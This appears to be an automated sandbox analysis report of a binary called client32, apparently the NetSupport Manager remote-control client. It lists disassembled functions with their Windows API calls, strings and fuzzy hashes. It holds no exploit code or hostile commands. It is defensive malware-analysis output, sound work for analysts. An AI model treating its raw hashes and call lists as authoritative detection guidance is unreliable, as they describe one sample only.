Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$Stock$Clip$Brush
String ID:
API String ID: 2690518013-0
Opcode ID: 03940d1c13920ebdd2799aeba9173fb3b73a5c49d6e66c97bce195a3b1bf9d70
Instruction ID: 6254f714a47a8412abfa64db40702d153c74c152478294c48941108971bda100
Opcode Fuzzy Hash: 03940d1c13920ebdd2799aeba9173fb3b73a5c49d6e66c97bce195a3b1bf9d70
Instruction Fuzzy Hash: CC114C71604214AFE320EFA9CC88F56F7E8AF48714F114529E698DB294C774E840CF60

Function 11157600 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11157646

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

_memset.LIBCMT ref: 1115765F
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 111576BF
_malloc.LIBCMT ref: 111576E7
_free.LIBCMT ref: 111577C3
_free.LIBCMT ref: 111577CF

Part of subcall function 110EDF10: _memmove.LIBCMT ref: 110EE02F

Strings

(, xrefs: 111576A5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free_malloc$AllocateBitsHeap_memmove_memset
String ID: (
API String ID: 3140430649-3887548279
Opcode ID: fb824e49bafe16ac61aeddce42f9fdce132aaf5f509c088f0f52e644acdd3b4c
Instruction ID: 5149e9e96c6edf4fd4ef2e7de0944cd089d7251e2f1b70461ebbd6bcbe1ab8a4
Opcode Fuzzy Hash: fb824e49bafe16ac61aeddce42f9fdce132aaf5f509c088f0f52e644acdd3b4c
Instruction Fuzzy Hash: EB5161B5A016149FDB50DF28CC81F9AB7B9EF89304F4551A9EA19DB341DB30EA40CF68

Function 110B73D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Part of subcall function 110B0260: _memset.LIBCMT ref: 110B026C
Part of subcall function 110B0260: _memset.LIBCMT ref: 110B029D

Part of subcall function 110B0AD0: timeGetTime.WINMM(_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B0AD6
Part of subcall function 110B0AD0: timeGetTime.WINMM(111F00F8,111E5C98,?), ref: 110B0BA5

WaitForSingleObject.KERNEL32(?,000000FA,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B743D
GetDC.USER32(00000000), ref: 110B7481
GetDeviceCaps.GDI32(00000000,0000000E), ref: 110B748C
GetDeviceCaps.GDI32(00000000,0000000C), ref: 110B7497
ReleaseDC.USER32(00000000,00000000), ref: 110B74A3

Part of subcall function 110B3090: SetEvent.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30A8
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B30B5
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30C8
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30D5
Part of subcall function 110B3090: WaitForSingleObject.KERNEL32(?,000003E8,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30F3
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B3100

Strings

TraceScrape, xrefs: 110B73E7
_debug, xrefs: 110B73F4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CapsDeviceObjectSingleTimeWait_memsettime$EventRelease__wcstoi64
String ID: TraceScrape$_debug
API String ID: 2936113293-4091781993
Opcode ID: 9cdd8e8a5d521a6398e64c309cb34abd0cea1cc8d3252b81e48429c5feacb1e5
Instruction ID: 6857b597a808110f0f281143ea82df92f461d6df4c4e0b5b1330fe4484300919
Opcode Fuzzy Hash: 9cdd8e8a5d521a6398e64c309cb34abd0cea1cc8d3252b81e48429c5feacb1e5
Instruction Fuzzy Hash: E941A679E042469BDB05CFB4C8D4FAFBBB5EB84704F1941ADE905AB285DA70EC04C7A4

Function 11027030 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122windowsleepCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11027053
TranslateMessage.USER32(?), ref: 11027081
DispatchMessageA.USER32(?), ref: 1102708B
Sleep.KERNEL32(000003E8), ref: 11027114
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1102717A

Strings

BridgeThread::Attempting to open bridge..., xrefs: 110270CE, 11027116
Bridge, xrefs: 11027037

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchSleepTranslate
String ID: Bridge$BridgeThread::Attempting to open bridge...
API String ID: 3237117195-3850961587
Opcode ID: 0527f6f062edf77291c750114b7d9886b355368a75c305f9b203373b5eaba6dc
Instruction ID: 926780c6f4d8c8949c1ee256bdfa0d08ed5449f0693c43c0c5ab50156846c558
Opcode Fuzzy Hash: 0527f6f062edf77291c750114b7d9886b355368a75c305f9b203373b5eaba6dc
Instruction Fuzzy Hash: AB41B475D01626DBEB15CBEDCC84EBEBBB9AB54708F900169E92593244E735E500CBA0

Function 110B90A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104timeCOMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(00000000,0000002C,110BFEBC,?,Norm,110BFEBC), ref: 110B90E4
MoveWindow.USER32(00000000,110BFEBC,110BFEBC,110BFEBC,110BFEBC,00000001,?,Norm,110BFEBC), ref: 110B9156
SetTimer.USER32(00000000,0000050D,000007D0,00000000), ref: 110B91B1

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

Norm, xrefs: 110B90B0
j CB::OnRemoteSizeNormal(%d, %d, %d, %d), xrefs: 110B9170
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B90CA
m_hWnd, xrefs: 110B90CF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ErrorExitLastMessageMovePlacementProcessTimerwsprintf
String ID: Norm$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$j CB::OnRemoteSizeNormal(%d, %d, %d, %d)$m_hWnd
API String ID: 1092798621-1973987134
Opcode ID: bb4fee7a640cddfa8292c04b347aeb0b9ef3b046aecc10af90a567252941b4bf
Instruction ID: fa08d4082dbdb83dc84805081e5a13701295f49ac71a08f55a689e0031bf859b
Opcode Fuzzy Hash: bb4fee7a640cddfa8292c04b347aeb0b9ef3b046aecc10af90a567252941b4bf
Instruction Fuzzy Hash: 6A411DB5B0020AAFDB08DFA4C895EAEF7B5FF88304F104669E519A7644DB30B945CB90

Function 1112B340 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 1112A9E0: LoadLibraryA.KERNEL32(ws2_32.dll,00000000,?), ref: 1112AA16
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 1112AA33
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 1112AA3D
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,socket), ref: 1112AA4B
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,closesocket), ref: 1112AA59
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 1112AA67
Part of subcall function 1112A9E0: FreeLibrary.KERNEL32(00000000), ref: 1112AADC

LoadLibraryA.KERNEL32(ws2_32.dll,?,?,00000000), ref: 1112B38A
GetProcAddress.KERNEL32(00000000,ntohl), ref: 1112B3A2
_calloc.LIBCMT ref: 1112B3AD
_free.LIBCMT ref: 1112B44B
FreeLibrary.KERNEL32(00000000), ref: 1112B462

Strings

ntohl, xrefs: 1112B39C
ws2_32.dll, xrefs: 1112B385

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad$_calloc_free
String ID: ntohl$ws2_32.dll
API String ID: 2881363997-4165132517
Opcode ID: a62c3fe90116abab52543d5ca7f352ed5c693b003b457ddebdd86233b9ebb92f
Instruction ID: 62f3d354d7df00a53f20e52f5f0b7ab5f0e2fb1a0c0f97b8c5a029639f714dd3
Opcode Fuzzy Hash: a62c3fe90116abab52543d5ca7f352ed5c693b003b457ddebdd86233b9ebb92f
Instruction Fuzzy Hash: 67318D75E00229CBD7509F64CD80A9AF7B8FF48715F6081A6DC99A7200DF30AA858FD4

Function 1100F3D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100F3FD
std::_Lockit::_Lockit.LIBCPMT ref: 1100F420
std::bad_exception::bad_exception.LIBCMT ref: 1100F4A4
__CxxThrowException@8.LIBCMT ref: 1100F4B2
std::_Lockit::_Lockit.LIBCPMT ref: 1100F4C5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100F4DF

Strings

bad cast, xrefs: 1100F49C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 01f71cc12634bd0a30440c36912b7c98b47e4755e7b052bf5bdff0cacdfadc3b
Instruction ID: 370362221ca7244b6b9d163162d4a533615f3e9481550f6b861c2319f727a088
Opcode Fuzzy Hash: 01f71cc12634bd0a30440c36912b7c98b47e4755e7b052bf5bdff0cacdfadc3b
Instruction Fuzzy Hash: 1D31A07AD042169FDB11DF94C890BAEF7B8FB04368F51426DEC61A7280DB71AD04CB92

Function 11105500 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11105531
EnterCriticalSection.KERNEL32 ref: 11105548
GetTickCount.KERNEL32 ref: 1110554E
GetTickCount.KERNEL32 ref: 111055EB
LeaveCriticalSection.KERNEL32(111F060C), ref: 111055F8

Strings

Warning. simap lock held for %d ms, xrefs: 11105609
Warning. took %d ms to get simap lock, xrefs: 1110555F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalSection$EnterLeave
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 956672424-625438208
Opcode ID: c1740793aff0a857699f8c8da11d168052976df0f5bdff16eb1b228a2dd960db
Instruction ID: 36f89d150e27e685f8f970f5604c93a837ba150e33a3fa1efe54dd65d22fc2b8
Opcode Fuzzy Hash: c1740793aff0a857699f8c8da11d168052976df0f5bdff16eb1b228a2dd960db
Instruction Fuzzy Hash: BA310475D042999FE315CF64C984F5AFBE6EB08328F154265E866EB290D731EC00CB90

Function 11017510 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 1101754C
_GetRawWMIStringW@16.PCICL32 ref: 11017577
CoUninitialize.OLE32 ref: 1101762C

Strings

PS/2, xrefs: 110175DE
USB, xrefs: 110175A6
HID, xrefs: 110175C2
Win32_PointingDevice, xrefs: 11017568

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeStringUninitializeW@16
String ID: HID$PS/2$USB$Win32_PointingDevice
API String ID: 1826621714-1320232752
Opcode ID: 01f4c2053d6d3d5b188b910352b3af376dde63b9f7c605ac8684b23757ecbe52
Instruction ID: ec2d2041e6adeb1d612fb4c2d78acfda5a53ba2d11cec2f487d5e4dde2f70ea0
Opcode Fuzzy Hash: 01f4c2053d6d3d5b188b910352b3af376dde63b9f7c605ac8684b23757ecbe52
Instruction Fuzzy Hash: BE317075A0061A9BDB24DF54CD457EAB3B8EF08315F0040E9E909AB244EB75FA84CF50

Function 11017650 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11017680
_GetRawWMIStringW@16.PCICL32 ref: 110176AB
CoUninitialize.OLE32 ref: 1101775C

Strings

PS/2, xrefs: 11017711
USB, xrefs: 110176D9
Win32_Keyboard, xrefs: 1101769C
HID, xrefs: 110176F5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeStringUninitializeW@16
String ID: HID$PS/2$USB$Win32_Keyboard
API String ID: 1826621714-116512005
Opcode ID: dc3c84b790b14994ebccc66db8dcedf5e6002aee836a81402c1f31a06d6bc927
Instruction ID: e7ff41d08370f7d32d83ef6e945d4bbf935b8fd488c105901da3cda69cacc920
Opcode Fuzzy Hash: dc3c84b790b14994ebccc66db8dcedf5e6002aee836a81402c1f31a06d6bc927
Instruction Fuzzy Hash: D3315075E00A1A9BDB24DF64CD45AEAB3B8FF08355F0040E5E909AB244EB75FA84CF51

Function 110F1270 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 85fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000), ref: 110F12C5
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 110F12DA

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 110F1333
CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 110F1378

Strings

\\.\, xrefs: 110F12AB
pcdvxd.386, xrefs: 110F133D
nsmvxd.386, xrefs: 110F12FB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
